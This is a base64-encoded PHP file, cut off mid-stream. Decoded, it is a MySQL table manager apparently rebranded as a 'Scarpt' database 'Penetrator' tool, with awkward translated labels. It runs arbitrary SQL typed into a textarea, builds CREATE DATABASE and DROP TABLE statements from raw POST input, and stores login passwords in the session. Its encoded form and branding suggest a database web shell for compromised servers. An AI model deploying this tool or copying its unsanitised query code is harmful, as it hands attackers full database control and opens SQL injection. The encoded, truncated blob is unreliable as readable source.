Cn0KCnRyIHsKQk9SREVSLVJJR0hUOiAgI2NjY2NjYyA7CkJPUkRFUi1UT1A6ICAgICNjY2NjY2MgOwpCT1JERVItTEVGVDogICAjY2NjY2NjIDsKQk9SREVSLUJPVFRPTTogI2NjY2NjYyA7CmNvbG9yOiAjZmZmZmZmOwp9CnRkIHsKQk9SREVSLVJJR0hUOiAgI2NjY2NjYyA7CkJPUkRFUi1UT1A6ICAgICNjY2NjY2MgOwpCT1JERVItTEVGVDogICAjY2NjY2NjIDsKQk9SREVSLUJPVFRPTTogI2NjY2NjYyA7CmNvbG9yOiAjY2NjY2NjOwp9Ci50YWJsZTEgewpCT1JERVI6IDE7CkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7CmNvbG9yOiAjMzMzMzMzOwp9Ci50ZDEgewpCT1JERVI6IDE7CmZvbnQ6IDdwdCB0YWhvbWE7CmNvbG9yOiAjZmZmZmZmOwp9Ci50cjEgewpCT1JERVI6IDE7CmNvbG9yOiAjY2NjY2NjOwp9CnRhYmxlIHsKQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0OwpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOwpjb2xvcjogI2NjY2NjYzsKfQppbnB1dCB7CkJPUkRFUi1SSUdIVDogICM5OTAwMDAgMSBzb2xpZDsKQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkOwpCT1JERVItTEVGVDogICAjOTkwMDAwIDEgc29saWQ7CkJPUkRFUi1CT1RUT006ICM5OTAwMDAgMSBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsKZm9udDogOXB0IHRhaG9tYTsKY29sb3I6ICNmZmZmZmY7Cn0Kc2VsZWN0IHsKQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOwpCT1JERVItVE9QOiAgICAjOTk5OTk5IDEgc29saWQ7CkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsKQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOwpmb250OiA5cHQgdGFob21hOwpjb2xvcjogI0NDQ0NDQzs7Cn0Kc3VibWl0IHsKQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0OwpCQUNLR1JPVU5ELUNPTE9SOiAjMjcyNzI3Owp3aWR0aDogNDAlOwpjb2xvcjogI2NjY2NjYzsKfQp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsKQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOwpCT1JERVItTEVGVDogICAjOTk5OTk5IDEgc29saWQ7CkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsKZm9udDogRml4ZWRzeXMgYm9sZDsKY29sb3I6ICNmZmZmZmY7Cn0KQk9EWSB7Cm1hcmdpbjogMTsKY29sb3I6ICNjY2NjY2M7CmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7Cn0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0KQTp2aXNpdGVkIHsgQ09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9CkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9Cgo8L1NUWUxFPlxuIjsKZWNobyI8bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbCBjaGFyc2V0PXdpbmRvd3MtMTI1Nic+IjsKZWNobyI8dGl0bGU+U2NhcnB0IGNvbnRhY3QgZGF0YWJhc2VzIDwvdGl0bGU+XG4iOwplY2hvIjxtZXRhIG5hbWU9J2F1dGhvcicgY29udGVudD0nVG9ueSBBc2xldHQnPiI7CmVjaG8iPG1ldGEgbmFtZT0ndGl0bGUnIGNvbnRlbnQ9J1BIUDpNeVNRTCBUYWJsZSBNYW5hZ2VyJz4iOwplY2hvIjxtZXRhIG5hbWU9J2Rlc2NyaXB0aW9uJyBjb250ZW50PSdUYWJsZSBNYW5hZ2VyIGZvciBNeVNRTCBEYXRhYmFzZSc+IjsKZWNobyI8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9J3RtZ3JzdHlsZXMuY3NzJyB0eXBlPSd0ZXh0L2Nzcyc+XG4iOwplY2hvIjwvaGVhZD5cbiI7CmVjaG8iPGJvZHk+XG4iOwoKJHNob3dhbGw9dHJ1ZTsKZWNobyI8aDIgY2xhc3M9aCA+U2NhcnB0IGNvbnRhY3QgZGF0YWJhc2VzIDwvaDI+XG4iOwovLyoqKioqKioqKioqKioqKioqKiogU2Vzc2lvbiBMb2dvbiAqKioqKioqKioqKioqKioqKioqKioqKgppZihpc3NldCgkX1BPU1RbJ2xvZ291dCddKSl7CgogICAgICAgICAgICAgICAgJF9QT1NUWydkYm5hbWUnXT0iIjsKICAgICAgICAgICAgICAgIHNlc3Npb25fdW5zZXQoKTsKICAgICAgICAgICAgICAgIHNlc3Npb25fZGVzdHJveSgpOwp9CmlmKGlzc2V0KCRfUE9TVFsndXNlcmlkJ10pICYmIGlzc2V0KCRfUE9TVFsncHdvcmQxJ10pKXsKICAgICAgICAkX1NFU1NJT05bJ3VzZXInXSA9ICRfUE9TVFsndXNlcmlkJ107CiAgICAgICAgJF9TRVNTSU9OWydwYXNzd29yZCddID0gJF9QT1NUWydwd29yZDEnXTsKfQoKaWYgKCFpc3NldCgkX1NFU1NJT05bJ3VzZXInXSkgfHwgIWlzc2V0KCRfU0VTU0lPTlsncGFzc3dvcmQnXSkpewogICAgICAgIGVjaG8iPGRpdiBhbGlnbj1jZW50ZXI+IjsKICAgICAgICBlY2hvIjxoMj5FbnRlciBkYXRhIHNlcnZlciBQZW5ldHJhdG9yPC9oMj5cbiI7CiAgICAgICAgSWYoIWlzc2V0KCRkYm5hbWVhcnJheSkpewogICAgICAgICAgICAgICAgJGRibmFtZWFycmF5PSIiOwogICAgICAgIH0KICAgICAgICBzaG93X2xvZ2luKCRkYm5hbWVhcnJheSk7CiAgICAgICAgZWNobyI8L2Rpdj4iOwp9ZWxzZXsKICAgICAgICAvL3Nob3cgbG9nb3V0IG9wdGlvbi4KICAgICAgICBlY2hvIjxkaXYgYWxpZ249cmlnaHQ+IjsKICAgICAgICBlbmRzZXNzKCk7CiAgICAgICAgZWNobyI8L2Rpdj4iOwp9Ci8vKioqKipkYm5hbWUKaWYoaXNzZXQoJF9QT1NUWydkYm5hbWUnXSkpewogICAgICAgICRkYm5hbWU9JF9QT1NUWydkYm5hbWUnXTsKICAgICRfU0VTU0lPTlsnZGJuYW1lJ109ICRfUE9TVFsnZGJuYW1lJ107Cn0KLy8qKioqKiBIb3N0CmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSl7CiAgICAkaG9zdD0kX1BPU1RbJ2hvc3QnXTsKICAgICRfU0VTU0lPTlsnaG9zdCddPSRfUE9TVFsnaG9zdCddOwp9Ci8vKioqKioqc2V0IHRhYmxlbmFtZQppZihpc3NldCgkX0dFVFsndGFibGVuYW1lJ10pICl7CiAgICAgICAgJHRhYmxlbmFtZT0kX0dFVFsndGFibGVuYW1lJ107Cn1lbHNlaWYoaXNzZXQoJF9QT1NUWyd0YWJsZW5hbWUnXSkpewogICAgICAgICR0YWJsZW5hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsKfQovLyoqKioqKioqKiogcGFnZW1heAppZihpc3NldCgkX1BPU1RbJ3BhZ2VtYXgnXSkpeyAvLyYmIGlzX2ludCgkX1BPU1RbJ3BhZ2VtYXgnXSkpewogICAgJGlzbnVtPXRydWU7CiAgICBmb3IoJG89MDsgJG88Y291bnQoJF9QT1NUWydwYWdlbWF4J10pOyAkbysrKXsKICAgICAgICAgICAgaWYoJF9QT1NUWydwYWdlbWF4J11bJG9dPjkpewogICAgICAgICAgICAgICAgJGlzbnVtPWZhbHNlOwogICAgICAgICAgICB9CiAgICB9CiAgICBpZigkX1BPU1RbJ3BhZ2VtYXgnXT4wICYmICRpc251bSl7CiAgICAgICAgJF9TRVNTSU9OWydwYWdlbWF4J109JF9QT1NUWydwYWdlbWF4J107CiAgICB9Cn0KIGlmKGlzc2V0KCRfU0VTU0lPTlsncGFnZW1heCddKSl7CiAgICAkcGFnZW1heD0kX1NFU1NJT05bJ3BhZ2VtYXgnXTsKIH0KLy8qKioqKioqKiBjcmVhdGUgYSBuZXcgRGF0YWJhc2UgKioqKioqKioqKioqCmlmKGlzc2V0KCRfUE9TVFsnY25kYiddKSl7CiAgICBjb25uZWN0bXlzcWwoKTsKICAgICAgICAkc3FsPSJjcmVhdGUgZGF0YWJhc2UgJF9QT1NUW25kYm5hbWVdIjsKICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCRzcWwsICIgIiwgJF9QT1NUWyduZGJuYW1lJ10pOwogICAgICAgIGlmICgkcmVzdWx0KXsKICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZGJuYW1lJ10gPSAkX1BPU1RbJ25kYm5hbWUnXTsKICAgICAgICAkc3FsPSJVc2UgJF9QT1NUW25kYm5hbWVdIjsKICAgICAgICAgICAgJHJlc3VsdD1leGVxdWVyeSgkc3FsLCAiICIsICRfUE9TVFsnbmRibmFtZSddKTsKICAgICAgICBpZigkcmVzdWx0KXsKICAgICAgICAgICAgZWNobyI8aDI+3sfaz8kgzM/tz8kgJF9TRVNTSU9OW2RibmFtZV0gPC9oMj5cbiI7CiAgICAgICAgfQogICAgICAgIH0KfQoKLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKaWYgKCEgaXNzZXQoJF9TRVNTSU9OWydkYm5hbWUnXSkgJiYgISBpc3NldCgkZGJuYW1lYXJyYXkpICYmICEgaXNzZXQoJF9QT1NUWydkYm5hbWUnXSkgJiYgaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKXsgLy8qKioqKioqKipwb3N0CiAgICAgICAgLy9EYXRhYnNlIG5hbWVzCiAgICAgICAgc2hvd2RiKCk7Cn0KLy8qKioqKioqKioqKioqKioqKioqKioqKiogQ2hvb3NlIERCICoqKioqKioqKioqKioKaWYoaXNzZXQoJF9QT1NUWydkYm5hbWUnXSkgJiYgJF9QT1NUWydkYm5hbWUnXT09IiIpewogICAgc2hvd2RiKCk7Cn0KCi8vKioqKioqKioqKgppZiAoaXNzZXQoJF9TRVNTSU9OWydkYm5hbWUnXSkgfHwgaXNzZXQoJF9QT1NUWydkYm5hJ10pIHx8IGlzc2V0KCRfUE9TVFsnZGJuYW1lJ10pKXsKLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiAgICAgICAgICAgICAgICAvL2Nvbm5lY3Rpb24KCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWydkYm5hbWUnXSkpewogICAgICAgICAgICAgICAgICAgICAgICAkZGJzZXRuYW1lID0gJF9TRVNTSU9OWydkYm5hbWUnXTsKICAgICAgICAgICAgICAgIH1lbHNlaWYoaXNzZXQoJF9QT1NUWydkYm5hbWUnXSkpewogICAgICAgICAgICAgICAgICAgICAgICAkZGJzZXRuYW1lID0gJF9QT1NUWydkYm5hbWUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydkYm5hbWUnXSA9ICRfUE9TVFsnZGJuYW1lJ107CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgJGRic2V0bmFtZSA9ICRfUE9TVFsnZGJuYSddOwogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2RibmFtZSddID0gJF9QT1NUWydkYm5hJ107CiAgICAgICAgICAgICAgICB9Cn0KLy8qKioqKioqKioqKioqKioqKioqKioqKioqKiogd2UgaGF2ZSBhIERCIHNldAppZihpc3NldCgkZGJzZXRuYW1lKSAmJiAkZGJzZXRuYW1lIT0iIil7CiAgICAgICAgICAgICAgICAgICAgJGxpbms9IGNvbm5lY3RteXNxbCgpOwogICAgICAgICAgICAvL2VjaG8iREJTOiAkZGJzZXRuYW1lIjsKICAgICAgICAgICAgICAgICAgICAkY29ubiA9IGNvbm5lY3RkYigkZGJzZXRuYW1lLCAkbGluayk7CgovLyoqKioqKioqKioqIERyb3AgVGFibGUgKioqKioqKioqKioqKioKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2RlbHRhYmxlJ10pKXsKICAgICAgICAkc2hvd2FsbD1mYWxzZTsKICAgICAgICAgICAgICAgICR0YWJsZW5hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsKICAgICAgICAgICAgICAgIGVjaG8iPGgxPiEhISBXYXJuaW5nISEhPGJyPllvdSBhcmUgdHJ5aW5nIHRvIENsZWFyIHRoaXMgdGFibGUgJHRhYmxlbmFtZTxicj4iOwogICAgICAgICAgICAgICAgZWNobyJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZG8gcHJvY2Vzcz88L2gxPlxuIjsKICAgICAgICAgICAgICAgICR2YT0iRHJvcCAkdGFibGVuYW1lIjsKICAgICAgICAgICAgICAgIGdvdG8oJHRhYmxlbmFtZSwgJGRibmFtZSwkYWN0aW9uLCAnZGVsJywgJ2Ryb3B0YWInLCAkdmEgKTsKICAgICAgICB9CiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydkcm9wdGFiJ10pKXsKICAgICAgICAgICAgICAgICR0YWJsZW5hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsKICAgICAgICAgICAgICAgICRkc3FsID0gImRyb3AgdGFibGUgJHRhYmxlbmFtZSI7CiAgICAgICAgICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCRkc3FsLCAkdGFibGVuYW1lLCAkZGJuYW1lKTsKICAgICAgICAgICAgICAgIHVuc2V0KCR0YWJsZW5hbWUpOyAvLz0iZmFsc2UiOwogICAgICAgICAgICAgICAgdW5zZXQoJF9QT1NUWyd0YWJsZW5hbWUnXSk7CiAgICAgICAgfQovLyoqKioqKioqKioqKioqKioqV3JpdGUgWW91ciBPd24gUXVlcnkgKioqKioqKioqKioqKioqKioKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3d5b3EnXSkpeyAgLy9wb3N0CiAgICAgICAgICAgICAgICAkdmFsdWU9IlRoZSBtYWluIGZhY2FkZSBvZiBTY2FycHQiOwogICAgICAgICAgICAgICAgZ290bygkdGFibGVuYW1lLCAkZGJuYW1lLCAkYWN0aW9uLCAnYnV0JywgJ3N0YXJ0JywgJHZhbHVlICk7CiAgICAgICAgICAgICAgICBlY2hvIjxmb3JtIG1ldGhvZD0ncG9zdCc+XG4iOwogICAgICAgICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkYm5hbWUnIHZhbHVlPSRkYm5hbWU+XG4iOwogICAgICAgICAgICAgICAgLy9lY2hvIjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nd3lxb3RhJyB3aWR0aD0nNTAwcHgnIHN0eWxlPSdvdmVyZmxvdy14OnZpc2libGU7Jz5cbiI7CgogICAgICAgICAgICAgICAgZWNobyI8dGV4dGFyZWEgbmFtZT0nd3lvcXRhJyBjb2xzPSc2MCcgcm93cz0nNScgc3R5bGU9J292ZXJmbG93LXk6dmlzaWJsZSc+PC90ZXh0YXJlYT5cbiI7CgogICAgICAgICAgICAgICAgZWNobyI8YnI+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPXN1Ym1pdCBuYW1lPSdydW5xdWVyeScgdmFsdWU9J0V4ZWN1dGUgUXVlcnknPlxuIjsKICAgICAgICAgICAgICAgIGVjaG8iPC9mb3JtPjxicj5cbiI7CiAgICAgICAgfQoKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3J1bnF1ZXJ5J10pKXsKICAgICAgICAgICAgICAgICR3eW9xdGEgPSBTdHJpcFNsYXNoZXMoJF9QT1NUWyd3eW9xdGEnXSk7CiAgICAgICAgICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCR3eW9xdGEsICIgIiwgIiAiKTsKCiAgICAgICAgICAgICAgICBpZihAbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCkgPjApewogICAgICAgICAgICAgICAgICAgICAgICAgJG51bXJvd3M9bXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRmbGRzPW15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRhYmxlPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkcj0wOyAkciA8ICRudW1yb3dzOyAkcisrKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjx0cj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyb3c9bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRjb2wgPSAwOyAkY29sIDwgJGZsZHM7ICRjb2wgKyspewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5zbGFzaCA9IFN0cmlwU2xhc2hlcygkcm93WyRjb2xdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRkPiRuc2xhc2g8L3RkPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90cj4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90YWJsZT4iOwogICAgICAgICAgICAgICAgfWVsc2VpZiAobXlzcWxfYWZmZWN0ZWRfcm93cygpKXsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyIgTnVtYmVyIG9mIFJvd3MgYWZmZWN0ZWQ6ICIubXlzcWxfYWZmZWN0ZWRfcm93cygpOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iIE5vdGhpbmcgcmV0dXJuZWQgZnJvbSB0aGUgcXVlcnkuIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9Ci8vICoqKioqKioqKioqKioqKipMaXN0IFRhYmxlcyoqKioqKioqKioqKioqKioqKioqKioqKioqKgoKICAgICAgICBpZiggISBpc3NldCgkdGFibGVuYW1lKSB8fCAkdGFibGVuYW1lPT0iICIgKXsKICAgICAgICAgICAgICAgICRkYm5hbWU9JF9TRVNTSU9OWydkYm5hbWUnXTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkX1NFU1NJT05bJ2RibmFtZSddKTsKICAgICAgICAgICAgICAgICAkbnVtdGFiID0gbXlzcWxfbnVtX3Jvd3MgKCRyZXN1bHQpOwogICAgICAgICAgICAgICAgIGlmKCRudW10YWIgPT0gMSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsndGFibGVuYW1lJ10gPW15c3FsX3RhYmxlbmFtZSgkcmVzdWx0LCAwKTsKICAgICAgICAgICAgICAgICB9CgovLyoqKioqKioqKioqKioqKioqIEJ1dHRvbnMgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydydW5xdWVyeSddKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRkYm5hbWU9JF9TRVNTSU9OWydkYm5hbWUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlPSIkZGJuYW1lIFN0YXJ0IjsgLy9UYWJsZSBNYW5hZ2VyIFN0YXJ0CiAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oIiIsICRfU0VTU0lPTlsnZGJuYW1lJ10sICRhY3Rpb24sICdidXQnLCAndGFibGVzdGFydCcsICR2YWx1ZSApOwoKICAgICAgICAgICAgICAgIH1lbHNlaWYgKCEgaXNzZXQoJF9QT1NUWyd3eW9xJ10pICYmICEgaXNzZXQoJF9QT1NUWydydW5xdWVyeSddKSl7IC8vd3JpdGUgeW91ciBvd24gcXVlcnkuCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRhYmxlIHdpZHRoPTQwJSBib3JkZXI9MCBhbGlnbj0nbGVmdCcgPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dHI+PHRkPiI7CgogICAgICAgICAgICAgICAgICAgICAgICAkdmE9IlRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IHNjYWxlIjsKICAgICAgICAgICAgICAgICAgICAgICAgZ290bygiIiwgJF9TRVNTSU9OWydkYm5hbWUnXSwgImNyZWF0ZS5waHAiLCAnYnV0JywgJ2NyZWF0ZScsICR2YSApOwogICAgICAgICAgLy8gIGVjaG8iPGEgaHJlZj1jcmVhdGUucGhwIGNsYXNzPSdjcnQnPkNyZWF0ZSBuZXcgVGFibGU8L2E+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+PHRkPiI7CgogICAgICAgICR2YWx1ZT0iVGhlIG1haW4gZmFjYWRlIjsgLy9DaG9vc2UgREIKICAgICAgICAgICAgICAgIGdvdG8oIiIsICIiLCAkYWN0aW9uLCAnYnV0JywgJ2RiJywgJHZhbHVlICk7CiAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+XG4iOwoKICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlPSJXcml0ZSBZb3VyIE93biBRdWVyeSI7CiAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oIiAiLCAkX1NFU1NJT05bJ2RibmFtZSddLCAkYWN0aW9uLCAnYnV0JywgJ3d5b3EnLCAkdmFsdWUgKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90ZD48L3RyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90YWJsZT48YnI+PGJyPjxicj48YnI+PGRpdiBzdHlsZT0nY2xlYXI6Ym90aDsnPjwvZGl2PiI7CgogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjx0YWJsZSB3aWR0aD0xMDAlIGJvcmRlcj0wIGFsaWduPSdjZW50ZXInID5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPTA7ICRpIDwgJG51bXRhYjsgJGkrKykgewoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGJfbmFtZXNbJGldID0gbXlzcWxfdGFibGVuYW1lKCRyZXN1bHQsICRpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjx0ciBjbGFzcz0nZnJvdyc+PHRkIGFsaWduPSdjZW50ZXInPlxuIjsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhPSJUaGUgYWdlbmRhKiAkdGJfbmFtZXNbJGldIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnb3RvKCR0Yl9uYW1lc1skaV0sICRfU0VTU0lPTlsnZGJuYW1lJ10sJGFjdGlvbiwgJ2J1dCcsICR0Yl9uYW1lc1skaV0sICR2YSApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90ZD48dGQgIGFsaWduPSdjZW50ZXInIHZhbGlnbj0nbWlkZGxlJz5cbiI7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2YT0iU3VydmV5IGFnZW5kYSAkdGJfbmFtZXNbJGldIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnb3RvKCR0Yl9uYW1lc1skaV0sICRfU0VTU0lPTlsnZGJuYW1lJ10sJGFjdGlvbiwgJ2RlbCcsICdkZWx0YWJsZScsICR2YSApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90ZD48dGQgIGFsaWduPSdjZW50ZXInIHZhbGlnbj0nbWlkZGxlJz5cbiI7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2YT0iQWx0ZXIgVGFibGUgJHRiX25hbWVzWyRpXSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ290bygkdGJfbmFtZXNbJGldLCAkX1NFU1NJT05bJ2RibmFtZSddLCdhbHRlci5waHAnLCAnYnV0JywgJ2FsdGVydGFibGUnLCAkdmEgKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+PHRkIGFsaWduPSdjZW50ZXInIHZhbGlnbj0nbWlkZGxlJz5cbiI7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaHRhYmxlZm9ybSgkdGJfbmFtZXNbJGldLCAkX1NFU1NJT05bJ2RibmFtZSddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+PHRkPiI7CiAgICAgICAgICAgICAgICAvL1RhYmxlIHNpemUgaW4gYnl0ZXMKICAgICAgICAgICAgICAgZWNobyBteXNpemUoJF9TRVNTSU9OWydkYm5hbWUnXSwkdGJfbmFtZXNbJGldKTsKCiAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+PC90cj5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0vL2ZvcgogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGFibGU+XG4iOwogICAgICAgICAgICAgICAgfQoKICAgICAgICB9ZWxzZXsgLy90YWJsZW5hbWUgaXMgc2V0Ci8vKioqKioqKioqKioqKioqKiogbWVudSAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgogICAgICAgICAgICAgICAgZWNobyI8dGFibGU+PHRyIGNsYXNzPSdmcm93Jz48dGQ+XG4iOwogICAgICAgICAgICAgICAgJHZhbHVlPSIkX1NFU1NJT05bZGJuYW1lXSBTdGFydCI7IC8vRXggVGFibGUgTWFuYWdlciBTdGFydAogICAgICAgICAgICAgICAgZ290bygkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddLCAkYWN0aW9uLCAnYnV0JywgJ3RhYmxlc3RhcnQnLCAkdmFsdWUgKTsKICAgICAgICAgICAgICAgIGVjaG8iPC90ZD5cbiI7CgogICAgICAgIGVjaG8iPHRkPlxuIjsKICAgICAgICAkdmFsdWU9IlRoZSBtYWluIGZhY2FkZSI7IC8vQ2hvb3NlIERCCiAgICAgICAgICAgICAgICBnb3RvKCIiLCAiIiwgJGFjdGlvbiwgJ2J1dCcsICdzdGFydCcsICR2YWx1ZSApOwogICAgICAgICAgICAgICAgZWNobyI8L3RkPlxuIjsKCiAgICAgICAgZWNobyI8dGQ+XG4iOwogICAgICAgICR2YWx1ZT0iV3JpdGUgWW91ciBPd24gUXVlcnkiOwogICAgICAgICAgICAgICAgZ290bygiICIsICRfU0VTU0lPTlsnZGJuYW1lJ10sICRhY3Rpb24sICdidXQnLCAnd3lvcScsICR2YWx1ZSApOwogICAgICAgIGVjaG8iPC90ZD5cbiI7CgogICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkX1BPU1RbJ2FkZCddKSAmJiAhaXNzZXQoJF9QT1NUWydkZWx0YWJsZSddKSAmJiBpc3NldCgkdGFibGVuYW1lKSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRkPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vJHRhYmxlbmFtZSA9ICRfUE9TVFsndGFibGVuYW1lJ107CiAgICAgICAgICAgICAgICAgICAgICAgICR2YT0iQWRkIGEgJHRhYmxlbmFtZSBSZWNvcmQiOwogICAgICAgICAgICAgICAgICAgICAgICBnb3RvKCR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10sICdhbHRlci5waHAnLCAnYnV0JywgJ2FkZCcsICR2YSApOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+XG4iOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJF9QT1NUWydkZWx0YWJsZSddKSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRkPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNodGFibGVmb3JtKCR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10pOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+XG4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyI8L3RyPjwvdGFibGU+XG4iOwogICAgICAgICAgICAgICAgZWNobyI8YnIgLz5cbiI7CgovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgogICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydhZGRyZWMnXSkpewogICAgICAgICAgIC8vICRzaG93YWxsPWZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0PWFkZHJlY29yZCgkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddLCAkX1BPU1RbJ2FycmF5J10pOwogICAgICAgICAgICAgICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ2FkZCddKSl7CiAgICAgICAgICAgICRzaG93YWxsPWZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICBhZGRmb3JtKCR0YWJsZW5hbWUs